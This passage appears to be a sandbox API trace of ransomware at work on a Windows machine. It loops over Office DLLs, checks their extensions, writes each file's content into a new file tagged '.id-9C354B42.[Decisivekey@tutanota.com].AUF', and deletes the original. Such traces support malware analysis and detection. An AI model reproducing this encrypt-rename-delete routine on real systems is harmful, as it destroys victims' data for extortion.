(lpString=".ppt") returned 4 [0219.729] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.729] lstrlenW (lpString=".zip") returned 4 [0219.729] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString=".rar") returned 4 [0219.729] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.729] lstrlenW (lpString=".bz2") returned 4 [0219.729] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.729] lstrlenW (lpString=".7z") returned 3 [0219.729] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.729] lstrlenW (lpString=".dbf") returned 4 [0219.729] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.730] lstrlenW (lpString=".1cd") returned 4 [0219.730] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0219.730] lstrlenW (lpString=".jpg") returned 4 [0219.730] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.730] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.730] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0219.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0219.730] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=899992) returned 1 [0219.730] CloseHandle (hObject=0x180) returned 1 [0219.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0219.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0219.731] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.731] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0219.731] GetLastError () returned 0x0 [0219.731] ReadFile (in: hFile=0x180, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xdbb98, lpOverlapped=0x0) returned 1 [0219.815] WriteFile (in: hFile=0x220, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xdbba0, lpOverlapped=0x0) returned 1 [0219.827] ReadFile (in: hFile=0x180, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.827] WriteFile (in: hFile=0x220, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xea, lpOverlapped=0x0) returned 1 [0219.827] SetEndOfFile (hFile=0x220) returned 1 [0219.828] CloseHandle (hObject=0x220) returned 1 [0219.828] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.828] SetEndOfFile (hFile=0x180) returned 1 [0219.833] CloseHandle (hObject=0x180) returned 1 [0219.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.833] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 1 [0219.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString=".doc") returned 4 [0219.834] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString=".docx") returned 5 [0219.834] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0219.834] lstrlenW (lpString=".pdf") returned 4 [0219.834] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString=".xls") returned 4 [0219.834] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString=".xlsx") returned 5 [0219.834] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0219.834] lstrlenW (lpString=".ppt") returned 4 [0219.834] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString=".zip") returned 4 [0219.834] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString=".rar") returned 4 [0219.834] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString=".bz2") returned 4 [0219.834] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.834] lstrlenW (lpString=".7z") returned 3 [0219.834] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString=".dbf") returned 4 [0219.834] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString=".1cd") returned 4 [0219.834] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString=".jpg") returned 4 [0219.834] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString=".doc") returned 4 [0219.834] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString=".docx") returned 5 [0219.834] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0219.834] lstrlenW (lpString=".pdf") returned 4 [0219.834] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString=".xls") returned 4 [0219.834] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString=".xlsx") returned 5 [0219.834] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0219.834] lstrlenW (lpString=".ppt") returned 4 [0219.834] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.834] lstrlenW (lpString=".zip") returned 4 [0219.834] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.835] lstrlenW (lpString=".rar") returned 4 [0219.835] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.835] lstrlenW (lpString=".bz2") returned 4 [0219.835] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.835] lstrlenW (lpString=".7z") returned 3 [0219.835] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.835] lstrlenW (lpString=".dbf") returned 4 [0219.835] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.835] lstrlenW (lpString=".1cd") returned 4 [0219.835] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0219.835] lstrlenW (lpString=".jpg") returned 4 [0219.835] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.835] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.835] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0219.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0219.835] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=15800) returned 1 [0219.835] CloseHandle (hObject=0x180) returned 1 [0219.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0219.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0219.836] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.836] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0219.836] GetLastError () returned 0x0 [0219.836] ReadFile (in: hFile=0x180, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x3db8, lpOverlapped=0x0) returned 1 [0219.971] WriteFile (in: hFile=0x220, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0220.020] ReadFile (in: hFile=0x180, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.020] WriteFile (in: hFile=0x220, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.020] SetEndOfFile (hFile=0x220) returned 1 [0220.028] CloseHandle (hObject=0x220) returned 1 [0220.028] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.028] SetEndOfFile (hFile=0x180) returned 1 [0220.029] CloseHandle (hObject=0x180) returned 1 [0220.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.029] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 1 [0220.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.048] lstrlenW (lpString=".doc") returned 4 [0220.048] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.048] lstrlenW (lpString=".docx") returned 5 [0220.048] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0220.048] lstrlenW (lpString=".pdf") returned 4 [0220.048] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.048] lstrlenW (lpString=".xls") returned 4 [0220.048] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.048] lstrlenW (lpString=".xlsx") returned 5 [0220.048] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0220.048] lstrlenW (lpString=".ppt") returned 4 [0220.048] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.049] lstrlenW (lpString=".zip") returned 4 [0220.049] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.049] lstrlenW (lpString=".rar") returned 4 [0220.049] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.049] lstrlenW (lpString=".bz2") returned 4 [0220.049] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.050] lstrlenW (lpString=".7z") returned 3 [0220.050] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.050] lstrlenW (lpString=".dbf") returned 4 [0220.050] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.050] lstrlenW (lpString=".1cd") returned 4 [0220.050] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.050] lstrlenW (lpString=".jpg") returned 4 [0220.050] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.050] lstrlenW (lpString=".doc") returned 4 [0220.050] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.050] lstrlenW (lpString=".docx") returned 5 [0220.050] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0220.050] lstrlenW (lpString=".pdf") returned 4 [0220.050] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.050] lstrlenW (lpString=".xls") returned 4 [0220.050] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.050] lstrlenW (lpString=".xlsx") returned 5 [0220.050] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0220.050] lstrlenW (lpString=".ppt") returned 4 [0220.050] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.050] lstrlenW (lpString=".zip") returned 4 [0220.050] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.050] lstrlenW (lpString=".rar") returned 4 [0220.050] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.050] lstrlenW (lpString=".bz2") returned 4 [0220.050] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.050] lstrlenW (lpString=".7z") returned 3 [0220.050] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.050] lstrlenW (lpString=".dbf") returned 4 [0220.050] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.050] lstrlenW (lpString=".1cd") returned 4 [0220.050] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0220.051] lstrlenW (lpString=".jpg") returned 4 [0220.051] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.051] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.051] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0220.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0220.060] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=537504) returned 1 [0220.060] CloseHandle (hObject=0x218) returned 1 [0220.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0220.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0220.060] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.060] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0220.061] GetLastError () returned 0x0 [0220.061] ReadFile (in: hFile=0x218, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x833a0, lpOverlapped=0x0) returned 1 [0220.092] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x833b0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x833b0, lpOverlapped=0x0) returned 1 [0220.099] ReadFile (in: hFile=0x218, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.099] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.099] SetEndOfFile (hFile=0x1d8) returned 1 [0220.177] CloseHandle (hObject=0x1d8) returned 1 [0220.177] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.177] SetEndOfFile (hFile=0x218) returned 1 [0220.185] CloseHandle (hObject=0x218) returned 1 [0220.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.185] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 1 [0220.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.369] lstrlenW (lpString=".doc") returned 4 [0220.369] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.369] lstrlenW (lpString=".docx") returned 5 [0220.369] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0220.369] lstrlenW (lpString=".pdf") returned 4 [0220.369] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.369] lstrlenW (lpString=".xls") returned 4 [0220.369] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.369] lstrlenW (lpString=".xlsx") returned 5 [0220.369] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0220.369] lstrlenW (lpString=".ppt") returned 4 [0220.369] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.369] lstrlenW (lpString=".zip") returned 4 [0220.369] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.369] lstrlenW (lpString=".rar") returned 4 [0220.369] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.369] lstrlenW (lpString=".bz2") returned 4 [0220.369] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.369] lstrlenW (lpString=".7z") returned 3 [0220.369] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.369] lstrlenW (lpString=".dbf") returned 4 [0220.369] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.369] lstrlenW (lpString=".1cd") returned 4 [0220.369] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.369] lstrlenW (lpString=".jpg") returned 4 [0220.369] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.369] lstrlenW (lpString=".doc") returned 4 [0220.369] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.369] lstrlenW (lpString=".docx") returned 5 [0220.370] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0220.370] lstrlenW (lpString=".pdf") returned 4 [0220.370] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.370] lstrlenW (lpString=".xls") returned 4 [0220.370] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.370] lstrlenW (lpString=".xlsx") returned 5 [0220.370] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0220.370] lstrlenW (lpString=".ppt") returned 4 [0220.370] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.370] lstrlenW (lpString=".zip") returned 4 [0220.370] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.370] lstrlenW (lpString=".rar") returned 4 [0220.370] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.370] lstrlenW (lpString=".bz2") returned 4 [0220.370] lstrcmpiW (lpString1=".bz2", 